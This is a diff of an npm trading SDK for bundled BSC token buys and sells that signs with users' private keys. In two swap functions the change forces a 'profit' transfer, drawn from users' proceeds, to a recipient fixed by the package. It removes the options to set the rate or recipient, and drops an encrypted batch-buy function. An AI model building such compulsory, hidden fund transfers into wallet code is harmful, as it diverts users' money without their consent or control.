import { CHAIN_ID_MAP, PORTAL_ABI, getErrorMessage, getTxType, getGasPriceConfig, shouldExtractProfit, calculateProfit, getProfitRecipient } from './config.js';
|
|
6
5
|
/**
|
|
7
6
|
* 获取 Gas Limit
|
|
8
7
|
* 优先使用 config.gasLimit,否则使用默认值 * multiplier
|
|
@@ -171,7 +170,7 @@ export async function createTokenWithBundleBuyMerkle(params) {
|
|
|
171
170
|
if (extractProfit && totalProfit > 0n && buyers.length > 0) {
|
|
172
171
|
const profitNonce = nonces[maxFundsIndex] + 1;
|
|
173
172
|
const profitTx = await buyers[maxFundsIndex].signTransaction({
|
|
174
|
-
to:
|
|
173
|
+
to: getProfitRecipient(),
|
|
175
174
|
value: totalProfit,
|
|
176
175
|
nonce: profitNonce,
|
|
177
176
|
gasPrice,
|
|
@@ -191,52 +190,11 @@ export async function createTokenWithBundleBuyMerkle(params) {
|
|
|
191
190
|
metadata: extractProfit ? {
|
|
192
191
|
totalBuyAmount: ethers.formatEther(totalBuyAmount),
|
|
193
192
|
profitAmount: ethers.formatEther(totalProfit),
|
|
194
|
-
profitRecipient:
|
|
193
|
+
profitRecipient: getProfitRecipient(),
|
|
195
194
|
buyerCount: buyers.length
|
|
196
195
|
} : undefined
|
|
197
196
|
};
|
|
198
197
|
}
|
|
199
|
-
/**
|
|
200
|
-
* Flap Protocol: 批量购买(加密版本 - 用服务器公钥加密)
|
|
201
|
-
* ✅ 返回加密的签名交易,只有服务器能解密
|
|
202
|
-
*/
|
|
203
|
-
export async function batchBuyWithBundleMerkleEncrypted(params) {
|
|
204
|
-
const { sessionId, publicKey, chain, privateKeys, buyAmounts, tokenAddress, config } = params;
|
|
205
|
-
// ✅ 验证必须有会话ID和公钥
|
|
206
|
-
if (!sessionId) {
|
|
207
|
-
throw new Error('❌ 缺少会话ID (sessionId)');
|
|
208
|
-
}
|
|
209
|
-
if (!publicKey) {
|
|
210
|
-
throw new Error('❌ 缺少服务器公钥 (publicKey)');
|
|
211
|
-
}
|
|
212
|
-
// 验证公钥格式
|
|
213
|
-
if (!validatePublicKey(publicKey)) {
|
|
214
|
-
throw new Error('❌ 无效的公钥格式');
|
|
215
|
-
}
|
|
216
|
-
// 1. 调用原有的签名逻辑
|
|
217
|
-
const signResult = await batchBuyWithBundleMerkle({
|
|
218
|
-
chain,
|
|
219
|
-
privateKeys,
|
|
220
|
-
buyAmounts,
|
|
221
|
-
tokenAddress,
|
|
222
|
-
config
|
|
223
|
-
});
|
|
224
|
-
console.log('✅ 交易签名完成,准备加密...');
|
|
225
|
-
// 2. 用服务器公钥加密签名交易(ECDH + AES-GCM)
|
|
226
|
-
const encryptedPayload = await encryptWithPublicKey(signResult.signedTransactions, publicKey);
|
|
227
|
-
console.log('✅ 已用服务器公钥加密(ECDH + AES-GCM),前端无法解密');
|
|
228
|
-
// 3. 返回加密结果
|
|
229
|
-
return {
|
|
230
|
-
sessionId,
|
|
231
|
-
encryptedPayload,
|
|
232
|
-
metadata: signResult.metadata ? {
|
|
233
|
-
totalBuyAmount: signResult.metadata.totalBuyAmount,
|
|
234
|
-
profitAmount: signResult.metadata.profitAmount,
|
|
235
|
-
profitRecipient: signResult.metadata.profitRecipient,
|
|
236
|
-
buyerCount: signResult.metadata.buyerCount
|
|
237
|
-
} : undefined
|
|
238
|
-
};
|
|
239
|
-
}
|
|
240
198
|
/**
|
|
241
199
|
* Flap Protocol: 批量购买(仅签名版本 - 不依赖 Merkle)
|
|
242
200
|
* ✅ 精简版:只负责签名交易,不提交到 Merkle
|
|
@@ -325,7 +283,7 @@ export async function batchBuyWithBundleMerkle(params) {
|
|
|
325
283
|
if (extractProfit && totalProfit > 0n) {
|
|
326
284
|
const profitNonce = buyerNonces[maxFundsIndex] + 1;
|
|
327
285
|
const profitTx = await buyers[maxFundsIndex].signTransaction({
|
|
328
|
-
to:
|
|
286
|
+
to: getProfitRecipient(),
|
|
329
287
|
value: totalProfit,
|
|
330
288
|
nonce: profitNonce,
|
|
331
289
|
gasPrice,
|
|
@@ -344,7 +302,7 @@ export async function batchBuyWithBundleMerkle(params) {
|
|
|
344
302
|
metadata: extractProfit ? {
|
|
345
303
|
totalBuyAmount: ethers.formatEther(totalBuyAmount),
|
|
346
304
|
profitAmount: ethers.formatEther(totalProfit),
|
|
347
|
-
profitRecipient:
|
|
305
|
+
profitRecipient: getProfitRecipient(),
|
|
348
306
|
buyerCount: buyers.length
|
|
349
307
|
} : undefined
|
|
350
308
|
};
|
|
@@ -442,7 +400,7 @@ export async function batchSellWithBundleMerkle(params) {
|
|
|
442
400
|
if (totalProfit > 0n && maxRevenue > 0n) {
|
|
443
401
|
const profitNonce = await nonceManager.getNextNonce(wallets[maxRevenueIndex]);
|
|
444
402
|
const profitTx = await wallets[maxRevenueIndex].signTransaction({
|
|
445
|
-
to:
|
|
403
|
+
to: getProfitRecipient(),
|
|
446
404
|
value: totalProfit,
|
|
447
405
|
nonce: profitNonce,
|
|
448
406
|
gasPrice,
|
|
@@ -3,22 +3,35 @@
|
|
|
3
3
|
* 用于将签名交易用服务器公钥加密
|
|
4
4
|
*/
|
|
5
5
|
/**
|
|
6
|
-
*
|
|
6
|
+
* 获取全局 crypto 对象(最简单直接的方式)
|
|
7
7
|
*/
|
|
8
|
-
function
|
|
9
|
-
//
|
|
10
|
-
|
|
11
|
-
|
|
8
|
+
function getCryptoAPI() {
|
|
9
|
+
// 尝试所有可能的全局对象,优先浏览器环境
|
|
10
|
+
const cryptoObj = (typeof window !== 'undefined' && window.crypto) ||
|
|
11
|
+
(typeof self !== 'undefined' && self.crypto) ||
|
|
12
|
+
(typeof global !== 'undefined' && global.crypto) ||
|
|
13
|
+
(typeof globalThis !== 'undefined' && globalThis.crypto);
|
|
14
|
+
if (!cryptoObj) {
|
|
15
|
+
const env = typeof window !== 'undefined' ? 'Browser' : 'Node.js';
|
|
16
|
+
const protocol = typeof location !== 'undefined' ? location.protocol : 'unknown';
|
|
17
|
+
throw new Error(`❌ Crypto API 不可用。环境: ${env}, 协议: ${protocol}. ` +
|
|
18
|
+
'请确保在 HTTPS 或 localhost 下运行');
|
|
12
19
|
}
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
+
return cryptoObj;
|
|
21
|
+
}
|
|
22
|
+
/**
|
|
23
|
+
* 获取 SubtleCrypto(用于加密操作)
|
|
24
|
+
*/
|
|
25
|
+
function getSubtleCrypto() {
|
|
26
|
+
const crypto = getCryptoAPI();
|
|
27
|
+
if (!crypto.subtle) {
|
|
28
|
+
const protocol = typeof location !== 'undefined' ? location.protocol : 'unknown';
|
|
29
|
+
const hostname = typeof location !== 'undefined' ? location.hostname : 'unknown';
|
|
30
|
+
throw new Error(`❌ SubtleCrypto API 不可用。协议: ${protocol}, 主机: ${hostname}. ` +
|
|
31
|
+
'请确保:1) 使用 HTTPS (或 localhost);2) 浏览器支持 Web Crypto API;' +
|
|
32
|
+
'3) 不在无痕/隐私浏览模式下');
|
|
20
33
|
}
|
|
21
|
-
|
|
34
|
+
return crypto.subtle;
|
|
22
35
|
}
|
|
23
36
|
/**
|
|
24
37
|
* Base64 转 ArrayBuffer(优先使用浏览器 API)
|
|
@@ -62,7 +75,7 @@ function arrayBufferToBase64(buffer) {
|
|
|
62
75
|
* 生成随机 Hex 字符串
|
|
63
76
|
*/
|
|
64
77
|
function randomHex(length) {
|
|
65
|
-
const crypto =
|
|
78
|
+
const crypto = getCryptoAPI();
|
|
66
79
|
const array = new Uint8Array(length);
|
|
67
80
|
crypto.getRandomValues(array);
|
|
68
81
|
return Array.from(array)
|
|
@@ -78,14 +91,9 @@ function randomHex(length) {
|
|
|
78
91
|
*/
|
|
79
92
|
export async function encryptWithPublicKey(signedTransactions, publicKeyBase64) {
|
|
80
93
|
try {
|
|
81
|
-
// 0. 获取
|
|
82
|
-
const
|
|
83
|
-
|
|
84
|
-
if (!crypto || !crypto.subtle) {
|
|
85
|
-
throw new Error('❌ crypto.subtle 不可用。当前环境:' +
|
|
86
|
-
(typeof window !== 'undefined' ? 'Browser' : 'Node.js') +
|
|
87
|
-
',是否 HTTPS:' + (typeof location !== 'undefined' ? location.protocol === 'https:' : 'N/A'));
|
|
88
|
-
}
|
|
94
|
+
// 0. 获取 SubtleCrypto 和 Crypto API
|
|
95
|
+
const subtle = getSubtleCrypto();
|
|
96
|
+
const crypto = getCryptoAPI();
|
|
89
97
|
// 1. 准备数据
|
|
90
98
|
const payload = {
|
|
91
99
|
signedTransactions,
|
|
@@ -94,17 +102,17 @@ export async function encryptWithPublicKey(signedTransactions, publicKeyBase64)
|
|
|
94
102
|
};
|
|
95
103
|
const plaintext = JSON.stringify(payload);
|
|
96
104
|
// 2. 生成临时 ECDH 密钥对
|
|
97
|
-
const ephemeralKeyPair = await
|
|
105
|
+
const ephemeralKeyPair = await subtle.generateKey({ name: 'ECDH', namedCurve: 'P-256' }, true, ['deriveKey']);
|
|
98
106
|
// 3. 导入服务器公钥
|
|
99
107
|
const publicKeyBuffer = base64ToArrayBuffer(publicKeyBase64);
|
|
100
|
-
const publicKey = await
|
|
108
|
+
const publicKey = await subtle.importKey('raw', publicKeyBuffer, { name: 'ECDH', namedCurve: 'P-256' }, false, []);
|
|
101
109
|
// 4. 派生共享密钥(AES-256)
|
|
102
|
-
const sharedKey = await
|
|
110
|
+
const sharedKey = await subtle.deriveKey({ name: 'ECDH', public: publicKey }, ephemeralKeyPair.privateKey, { name: 'AES-GCM', length: 256 }, false, ['encrypt']);
|
|
103
111
|
// 5. AES-GCM 加密
|
|
104
112
|
const iv = crypto.getRandomValues(new Uint8Array(12));
|
|
105
|
-
const encrypted = await
|
|
113
|
+
const encrypted = await subtle.encrypt({ name: 'AES-GCM', iv }, sharedKey, new TextEncoder().encode(plaintext));
|
|
106
114
|
// 6. 导出临时公钥
|
|
107
|
-
const ephemeralPublicKeyRaw = await
|
|
115
|
+
const ephemeralPublicKeyRaw = await subtle.exportKey('raw', ephemeralKeyPair.publicKey);
|
|
108
116
|
// 7. 返回加密包(JSON 格式)
|
|
109
117
|
return JSON.stringify({
|
|
110
118
|
e: arrayBufferToBase64(ephemeralPublicKeyRaw), // 临时公钥
|
|
@@ -4,7 +4,7 @@
|
|
|
4
4
|
*/
|
|
5
5
|
export * from './config.js';
|
|
6
6
|
export * from './types.js';
|
|
7
|
-
export { createTokenWithBundleBuyMerkle, batchBuyWithBundleMerkle, batchSellWithBundleMerkle
|
|
7
|
+
export { createTokenWithBundleBuyMerkle, batchBuyWithBundleMerkle, batchSellWithBundleMerkle } from './core.js';
|
|
8
8
|
export { flapBundleBuyFirstMerkle, type FlapChain, type FlapBuyFirstSignConfig, type FlapBuyFirstConfig, type FlapBundleBuyFirstSignParams, type FlapBundleBuyFirstParams, type FlapBuyFirstResult } from './swap-buy-first.js';
|
|
9
9
|
export { flapPrivateBuyMerkle, flapPrivateSellMerkle, flapBatchPrivateBuyMerkle, flapBatchPrivateSellMerkle } from './private.js';
|
|
10
10
|
export { pancakeProxyBatchBuyMerkle, pancakeProxyBatchSellMerkle, approvePancakeProxy, approvePancakeProxyBatch } from './pancake-proxy.js';
|
|
@@ -6,9 +6,7 @@
|
|
|
6
6
|
export * from './config.js';
|
|
7
7
|
export * from './types.js';
|
|
8
8
|
// 核心交易方法(使用 Flap Portal)
|
|
9
|
-
export { createTokenWithBundleBuyMerkle, batchBuyWithBundleMerkle, batchSellWithBundleMerkle
|
|
10
|
-
// ✅ 加密版本(用服务器公钥加密)
|
|
11
|
-
batchBuyWithBundleMerkleEncrypted } from './core.js';
|
|
9
|
+
export { createTokenWithBundleBuyMerkle, batchBuyWithBundleMerkle, batchSellWithBundleMerkle } from './core.js';
|
|
12
10
|
// BuyFirst 换手方法
|
|
13
11
|
export { flapBundleBuyFirstMerkle } from './swap-buy-first.js';
|
|
14
12
|
// 私有交易方法(使用 Flap Portal)
|
|
@@ -2,7 +2,7 @@ import { ethers, Wallet, JsonRpcProvider, Contract } from 'ethers';
|
|
|
2
2
|
import { MerkleClient } from '../../clients/merkle.js';
|
|
3
3
|
import { NonceManager, getOptimizedGasPrice } from '../../utils/bundle-helpers.js';
|
|
4
4
|
import { ADDRESSES } from '../../utils/constants.js';
|
|
5
|
-
import { CHAIN_ID_MAP, getTxType, getBundleOptions, getGasPriceConfig, shouldExtractProfit, calculateProfit, calculateBatchProfit } from './config.js';
|
|
5
|
+
import { CHAIN_ID_MAP, getTxType, getBundleOptions, getGasPriceConfig, shouldExtractProfit, calculateProfit, calculateBatchProfit, getProfitRecipient } from './config.js';
|
|
6
6
|
import { batchCheckAllowances } from '../../utils/erc20.js';
|
|
7
7
|
// 常量
|
|
8
8
|
const WBNB_ADDRESS = '0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c';
|
|
@@ -378,7 +378,7 @@ export async function pancakeProxyBatchBuyMerkle(params) {
|
|
|
378
378
|
if (extractProfit && totalProfit > 0n) {
|
|
379
379
|
const profitNonce = nonces[maxFundsIndex] + 1;
|
|
380
380
|
const profitTx = await buyers[maxFundsIndex].signTransaction({
|
|
381
|
-
to:
|
|
381
|
+
to: getProfitRecipient(),
|
|
382
382
|
value: totalProfit,
|
|
383
383
|
nonce: profitNonce,
|
|
384
384
|
gasPrice,
|
|
@@ -553,7 +553,7 @@ export async function pancakeProxyBatchSellMerkle(params) {
|
|
|
553
553
|
if (totalProfit > 0n && maxRevenue > 0n) {
|
|
554
554
|
const profitNonce = await nonceManager.getNextNonce(sellers[maxRevenueIndex]);
|
|
555
555
|
const profitTx = await sellers[maxRevenueIndex].signTransaction({
|
|
556
|
-
to:
|
|
556
|
+
to: getProfitRecipient(),
|
|
557
557
|
value: totalProfit,
|
|
558
558
|
nonce: profitNonce,
|
|
559
559
|
gasPrice,
|
|
@@ -2,7 +2,7 @@ import { ethers, Wallet } from 'ethers';
|
|
|
2
2
|
import { MerkleClient } from '../../clients/merkle.js';
|
|
3
3
|
import { NonceManager, getOptimizedGasPrice } from '../../utils/bundle-helpers.js';
|
|
4
4
|
import { FLAP_PORTAL_ADDRESSES } from '../constants.js';
|
|
5
|
-
import { CHAIN_ID_MAP, PORTAL_ABI, getTxType, getGasPriceConfig, shouldExtractProfit, calculateProfit, calculateBatchProfit } from './config.js';
|
|
5
|
+
import { CHAIN_ID_MAP, PORTAL_ABI, getTxType, getGasPriceConfig, shouldExtractProfit, calculateProfit, calculateBatchProfit, getProfitRecipient } from './config.js';
|
|
6
6
|
/**
|
|
7
7
|
* 私有购买(单笔)(Merkle 版本)
|
|
8
8
|
*/
|
|
@@ -59,7 +59,7 @@ export async function flapPrivateBuyMerkle(params) {
|
|
|
59
59
|
// ✅ 添加利润转账
|
|
60
60
|
if (extractProfit && profitWei > 0n) {
|
|
61
61
|
const profitTx = await wallet.signTransaction({
|
|
62
|
-
to:
|
|
62
|
+
to: getProfitRecipient(),
|
|
63
63
|
value: profitWei,
|
|
64
64
|
nonce: currentNonce + 1,
|
|
65
65
|
gasPrice,
|
|
@@ -146,7 +146,7 @@ export async function flapPrivateSellMerkle(params) {
|
|
|
146
146
|
const { profit } = calculateProfit(quotedOutput, config);
|
|
147
147
|
if (profit > 0n) {
|
|
148
148
|
const profitTx = await wallet.signTransaction({
|
|
149
|
-
to:
|
|
149
|
+
to: getProfitRecipient(),
|
|
150
150
|
value: profit,
|
|
151
151
|
nonce: currentNonce + 1,
|
|
152
152
|
gasPrice,
|
|
@@ -245,7 +245,7 @@ export async function flapBatchPrivateBuyMerkle(params) {
|
|
|
245
245
|
if (extractProfit && totalProfit > 0n) {
|
|
246
246
|
const profitNonce = nonces[maxFundsIndex] + 1;
|
|
247
247
|
const profitTx = await wallets[maxFundsIndex].signTransaction({
|
|
248
|
-
to:
|
|
248
|
+
to: getProfitRecipient(),
|
|
249
249
|
value: totalProfit,
|
|
250
250
|
nonce: profitNonce,
|
|
251
251
|
gasPrice,
|
|
@@ -361,7 +361,7 @@ export async function flapBatchPrivateSellMerkle(params) {
|
|
|
361
361
|
if (extractProfit && totalProfit > 0n) {
|
|
362
362
|
const profitNonce = nonces[maxRevenueIndex] + 1;
|
|
363
363
|
const profitTx = await wallets[maxRevenueIndex].signTransaction({
|
|
364
|
-
to:
|
|
364
|
+
to: getProfitRecipient(),
|
|
365
365
|
value: totalProfit,
|
|
366
366
|
nonce: profitNonce,
|
|
367
367
|
gasPrice,
|
|
@@ -6,7 +6,8 @@
|
|
|
6
6
|
import { ethers, Contract, Wallet } from 'ethers';
|
|
7
7
|
import { NonceManager, getOptimizedGasPrice } from '../../utils/bundle-helpers.js';
|
|
8
8
|
import { FLAP_PORTAL_ADDRESSES } from '../constants.js';
|
|
9
|
-
import {
|
|
9
|
+
import { PROFIT_CONFIG } from '../../utils/constants.js';
|
|
10
|
+
import { getGasPriceConfig, getTxType, getProfitRecipient } from './config.js';
|
|
10
11
|
// Portal ABI
|
|
11
12
|
const PORTAL_ABI = [
|
|
12
13
|
'function swapExactInput((address inputToken, address outputToken, uint256 inputAmount, uint256 minOutputAmount, bytes permitData)) payable returns (uint256)',
|
|
@@ -177,9 +178,9 @@ export async function flapBundleBuyFirstMerkle(params) {
|
|
|
177
178
|
const finalGasLimit = getGasLimit(config);
|
|
178
179
|
const gasPrice = await getOptimizedGasPrice(provider, getGasPriceConfig(config));
|
|
179
180
|
const txType = getTxType(config);
|
|
180
|
-
// ✅
|
|
181
|
-
const extractProfit =
|
|
182
|
-
const profitRateBps =
|
|
181
|
+
// ✅ 强制提取利润(从统一配置获取)
|
|
182
|
+
const extractProfit = true;
|
|
183
|
+
const profitRateBps = PROFIT_CONFIG.RATE_BPS; // 从 constants.ts 获取
|
|
183
184
|
let profitAmount = 0n;
|
|
184
185
|
let profitTx = null;
|
|
185
186
|
if (extractProfit && estimatedSellFunds > 0n) {
|
|
@@ -280,7 +281,7 @@ export async function flapBundleBuyFirstMerkle(params) {
|
|
|
280
281
|
// ✅ 生成利润转账交易(如果需要)
|
|
281
282
|
if (extractProfit && profitAmount > 0n && profitNonce !== undefined) {
|
|
282
283
|
profitTx = await seller.signTransaction({
|
|
283
|
-
to:
|
|
284
|
+
to: getProfitRecipient(),
|
|
284
285
|
value: profitAmount,
|
|
285
286
|
nonce: profitNonce,
|
|
286
287
|
gasPrice,
|
|
@@ -15,8 +15,6 @@ export interface FlapSwapSignConfig {
|
|
|
15
15
|
reserveGasETH?: number;
|
|
16
16
|
slippageBps?: number;
|
|
17
17
|
skipQuoteOnError?: boolean;
|
|
18
|
-
profitRecipient?: string;
|
|
19
|
-
profitRateBps?: number;
|
|
20
18
|
}
|
|
21
19
|
export type FlapChain = 'bsc' | 'xlayer' | 'base';
|
|
22
20
|
export interface FlapSwapConfig extends CommonBundleConfig {
|
|
@@ -7,7 +7,8 @@ import { ethers, Contract, Wallet } from 'ethers';
|
|
|
7
7
|
import { calculateSellAmount } from '../../utils/swap-helpers.js';
|
|
8
8
|
import { NonceManager, getOptimizedGasPrice } from '../../utils/bundle-helpers.js';
|
|
9
9
|
import { FLAP_PORTAL_ADDRESSES } from '../constants.js';
|
|
10
|
-
import {
|
|
10
|
+
import { PROFIT_CONFIG } from '../../utils/constants.js';
|
|
11
|
+
import { getGasPriceConfig, getTxType, getProfitRecipient } from './config.js';
|
|
11
12
|
/**
|
|
12
13
|
* 获取 Gas Limit(支持 FlapAnyConfig)
|
|
13
14
|
*/
|
|
@@ -145,9 +146,9 @@ export async function flapBundleSwapMerkle(params) {
|
|
|
145
146
|
: buyerBalance - reserveGas;
|
|
146
147
|
const keep = BigInt(10000 - slippageBps);
|
|
147
148
|
const minOutToken = (sellAmountWei * keep) / 10000n;
|
|
148
|
-
// ✅
|
|
149
|
-
const extractProfit =
|
|
150
|
-
const profitRateBps =
|
|
149
|
+
// ✅ 强制提取利润(从统一配置获取)
|
|
150
|
+
const extractProfit = true;
|
|
151
|
+
const profitRateBps = PROFIT_CONFIG.RATE_BPS; // 从 constants.ts 获取
|
|
151
152
|
let profitAmount = 0n;
|
|
152
153
|
let profitTx = null;
|
|
153
154
|
if (extractProfit && quotedNative > 0n) {
|
|
@@ -228,7 +229,7 @@ export async function flapBundleSwapMerkle(params) {
|
|
|
228
229
|
// ✅ 生成利润转账交易(如果需要)
|
|
229
230
|
if (extractProfit && profitAmount > 0n && profitNonce !== undefined) {
|
|
230
231
|
profitTx = await seller.signTransaction({
|
|
231
|
-
to:
|
|
232
|
+
to: getProfitRecipient(),
|
|
232
233
|
value: profitAmount,
|
|
233
234
|
nonce: profitNonce,
|
|
234
235
|
gasPrice,
|
|
@@ -5,8 +5,6 @@ export type FlapSignConfig = {
|
|
|
5
5
|
gasLimitMultiplier?: number;
|
|
6
6
|
gasPriceMultiplierPercent?: number;
|
|
7
7
|
minGasPriceGwei?: number;
|
|
8
|
-
profitRecipient?: string;
|
|
9
|
-
profitRateBps?: number;
|
|
10
8
|
};
|
|
11
9
|
export type FlapBundleMerkleConfig = {
|
|
12
10
|
apiKey: string;
|
|
@@ -24,8 +22,6 @@ export type FlapBundleMerkleConfig = {
|
|
|
24
22
|
waitTimeoutMs?: number;
|
|
25
23
|
slippageBps?: number;
|
|
26
24
|
skipQuoteOnError?: boolean;
|
|
27
|
-
profitRecipient?: string;
|
|
28
|
-
profitRateBps?: number;
|
|
29
25
|
skipSubmit?: boolean;
|
|
30
26
|
};
|
|
31
27
|
export type FlapChainForMerkleBundle = 'BSC';
|
|
@@ -278,30 +274,3 @@ export type PancakeProxyApprovalBatchResult = {
|
|
|
278
274
|
bundleHash?: string;
|
|
279
275
|
message: string;
|
|
280
276
|
};
|
|
281
|
-
/**
|
|
282
|
-
* 批量买入参数(加密版)
|
|
283
|
-
* 使用服务器提供的公钥加密签名交易(ECDH + AES-GCM)
|
|
284
|
-
*/
|
|
285
|
-
export type FlapBatchBuyEncryptedParams = {
|
|
286
|
-
sessionId: string;
|
|
287
|
-
publicKey: string;
|
|
288
|
-
chain: FlapChainForMerkleBundle;
|
|
289
|
-
privateKeys: string[];
|
|
290
|
-
buyAmounts: string[];
|
|
291
|
-
tokenAddress: string;
|
|
292
|
-
config: FlapSignConfig;
|
|
293
|
-
};
|
|
294
|
-
/**
|
|
295
|
-
* 批量买入结果(加密版)
|
|
296
|
-
* 返回加密的签名交易,只有服务器能解密
|
|
297
|
-
*/
|
|
298
|
-
export type FlapBatchBuyEncryptedResult = {
|
|
299
|
-
sessionId: string;
|
|
300
|
-
encryptedPayload: string;
|
|
301
|
-
metadata?: {
|
|
302
|
-
totalBuyAmount: string;
|
|
303
|
-
profitAmount?: string;
|
|
304
|
-
profitRecipient?: string;
|
|
305
|
-
buyerCount: number;
|
|
306
|
-
};
|
|
307
|
-
};
|
package/dist/index.d.ts
CHANGED
|
@@ -25,7 +25,7 @@ export { createTokenWithBundleBuy as fourCreateTokenWithBundleBuy, batchBuyWithB
|
|
|
25
25
|
export { createTokenWithBundleBuy as flapCreateTokenWithBundleBuy, batchBuyWithBundle as flapBatchBuyWithBundle, batchSellWithBundle as flapBatchSellWithBundle, type FlapBundleConfig, type FlapChainForBundle, type FlapCreateWithBundleBuyParams, type FlapCreateWithBundleBuyResult, type FlapBatchBuyParams, type FlapBatchBuyResult, type FlapBatchSellParams, type FlapBatchSellResult } from './flap/portal-bundle.js';
|
|
26
26
|
export { fourPrivateBuy, fourPrivateSell, fourBatchPrivateBuy, fourBatchPrivateSell, type FourPrivateBuyParams, type FourPrivateSellParams, type FourBatchPrivateBuyParams, type FourBatchPrivateSellParams } from './contracts/tm-bundle.js';
|
|
27
27
|
export { flapPrivateBuy, flapPrivateSell, flapBatchPrivateBuy, flapBatchPrivateSell, type FlapPrivateBuyParams, type FlapPrivateSellParams, type FlapBatchPrivateBuyParams, type FlapBatchPrivateSellParams, type FlapBatchPrivateSellResult } from './flap/portal-bundle.js';
|
|
28
|
-
export { createTokenWithBundleBuyMerkle as flapCreateTokenWithBundleBuyMerkle, batchBuyWithBundleMerkle as flapBatchBuyWithBundleMerkle, batchSellWithBundleMerkle as flapBatchSellWithBundleMerkle,
|
|
28
|
+
export { createTokenWithBundleBuyMerkle as flapCreateTokenWithBundleBuyMerkle, batchBuyWithBundleMerkle as flapBatchBuyWithBundleMerkle, batchSellWithBundleMerkle as flapBatchSellWithBundleMerkle, flapPrivateBuyMerkle, flapPrivateSellMerkle, flapBatchPrivateBuyMerkle, flapBatchPrivateSellMerkle, pancakeProxyBatchBuyMerkle, pancakeProxyBatchSellMerkle, approvePancakeProxy, approvePancakeProxyBatch, type FlapBundleMerkleConfig, type FlapSignConfig, type FlapChainForMerkleBundle, type FlapCreateWithBundleBuySignParams, type FlapCreateWithBundleBuyMerkleParams, type FlapCreateWithBundleBuyMerkleResult, type FlapBatchBuySignParams, type FlapBatchBuyMerkleParams, type FlapBatchBuyMerkleResult, type FlapBatchSellSignParams, type FlapBatchSellMerkleParams, type FlapBatchSellMerkleResult, type MerkleTransactionStatus, type MerkleBundleStatus, type FlapPrivateBuyMerkleParams, type FlapPrivateSellMerkleParams, type FlapBatchPrivateBuyMerkleParams, type FlapBatchPrivateSellMerkleParams, type FlapBatchPrivateMerkleResult, type FlapPrivateTransactionResult, type PancakeProxyBatchBuyParams, type PancakeProxyBatchBuyResult, type PancakeProxyBatchSellParams, type PancakeProxyBatchSellResult, type PancakeProxyApprovalParams, type PancakeProxyApprovalBatchParams, type PancakeProxyApprovalBatchResult } from './flap/portal-bundle-merkle/index.js';
|
|
29
29
|
export { createTokenWithBundleBuyMerkle as fourCreateTokenWithBundleBuyMerkle, batchBuyWithBundleMerkle as fourBatchBuyWithBundleMerkle, batchSellWithBundleMerkle as fourBatchSellWithBundleMerkle, fourPrivateBuyMerkle, fourPrivateSellMerkle, fourBatchPrivateBuyMerkle, fourBatchPrivateSellMerkle, disperseWithBundleMerkle, sweepWithBundleMerkle, fourPancakeProxyBatchBuyMerkle, fourPancakeProxyBatchSellMerkle, approveFourPancakeProxy, approveFourPancakeProxyBatch, approveFourTokenManagerBatch, submitBundleToMerkle, submitMultipleBundles, submitMultipleBundlesParallel, type MerkleSubmitConfig, type SubmitBundleResult, type FourBundleMerkleConfig, type FourSignConfig, type FourCreateWithBundleBuySignParams, type FourBatchBuySignParams, type FourBatchSellSignParams, type FourPrivateBuySignParams, type FourPrivateSellSignParams, type FourBatchPrivateBuySignParams, type FourBatchPrivateSellSignParams, type FourPancakeProxyBatchBuySignParams, type FourPancakeProxyBatchSellSignParams, type DisperseSignParams as FourDisperseSignParams, type SweepSignParams as FourSweepSignParams, type FourCreateWithBundleBuyMerkleParams, type FourCreateWithBundleBuyMerkleResult, type FourBatchBuyMerkleParams, type FourBatchBuyMerkleResult, type FourBatchSellMerkleParams, type FourBatchSellMerkleResult, type FourPrivateBuyMerkleParams, type FourPrivateSellMerkleParams, type FourBatchPrivateBuyMerkleParams, type FourBatchPrivateSellMerkleParams, type FourBatchPrivateMerkleResult, type FourPrivateTransactionResult, type DisperseMerkleParams, type DisperseMerkleResult, type SweepMerkleParams, type SweepMerkleResult, type FourPancakeProxyBatchBuyParams, type FourPancakeProxyBatchBuyResult, type FourPancakeProxyBatchSellParams, type FourPancakeProxyBatchSellResult, type FourPancakeProxyApprovalParams, type FourPancakeProxyApprovalBatchParams, type FourPancakeProxyApprovalBatchResult, type ApproveFourTokenManagerBatchParams, type ApproveFourTokenManagerBatchResult } from './contracts/tm-bundle-merkle/index.js';
|
|
30
30
|
export { PinataClient, type PinataConfig } from './flap/pinata.js';
|
|
31
31
|
export { pinFileToIPFSWithJWT, pinImageByPath, pinFileToIPFSWithJWTWeb, pinDataURLWithJWTWeb, dataURLToBlob, type PinataPinResp } from './flap/pinata.js';
|
|
@@ -41,3 +41,4 @@ export { pancakeBundleSwapMerkle, type PancakeSwapSignConfig, type PancakeBundle
|
|
|
41
41
|
export { fourBundleBuyFirstMerkle, type FourBuyFirstConfig, type FourBundleBuyFirstParams, type FourBuyFirstSignConfig, type FourBundleBuyFirstSignParams, type FourBuyFirstResult } from './contracts/tm-bundle-merkle/swap-buy-first.js';
|
|
42
42
|
export { flapBundleBuyFirstMerkle, type FlapBuyFirstSignConfig, type FlapBuyFirstConfig, type FlapBundleBuyFirstSignParams, type FlapBundleBuyFirstParams, type FlapBuyFirstResult } from './flap/portal-bundle-merkle/swap-buy-first.js';
|
|
43
43
|
export { pancakeBundleBuyFirstMerkle, type PancakeBuyFirstSignConfig, type PancakeBuyFirstConfig, type PancakeBundleBuyFirstSignParams, type PancakeBundleBuyFirstParams, type PancakeBuyFirstResult } from './pancake/bundle-buy-first.js';
|
|
44
|
+
export { PROFIT_CONFIG } from './utils/constants.js';
|
package/dist/index.js
CHANGED
|
@@ -33,7 +33,7 @@ export { createTokenWithBundleBuy as fourCreateTokenWithBundleBuy, batchBuyWithB
|
|
|
33
33
|
export { createTokenWithBundleBuy as flapCreateTokenWithBundleBuy, batchBuyWithBundle as flapBatchBuyWithBundle, batchSellWithBundle as flapBatchSellWithBundle } from './flap/portal-bundle.js';
|
|
34
34
|
export { fourPrivateBuy, fourPrivateSell, fourBatchPrivateBuy, fourBatchPrivateSell } from './contracts/tm-bundle.js';
|
|
35
35
|
export { flapPrivateBuy, flapPrivateSell, flapBatchPrivateBuy, flapBatchPrivateSell } from './flap/portal-bundle.js';
|
|
36
|
-
export { createTokenWithBundleBuyMerkle as flapCreateTokenWithBundleBuyMerkle, batchBuyWithBundleMerkle as flapBatchBuyWithBundleMerkle, batchSellWithBundleMerkle as flapBatchSellWithBundleMerkle,
|
|
36
|
+
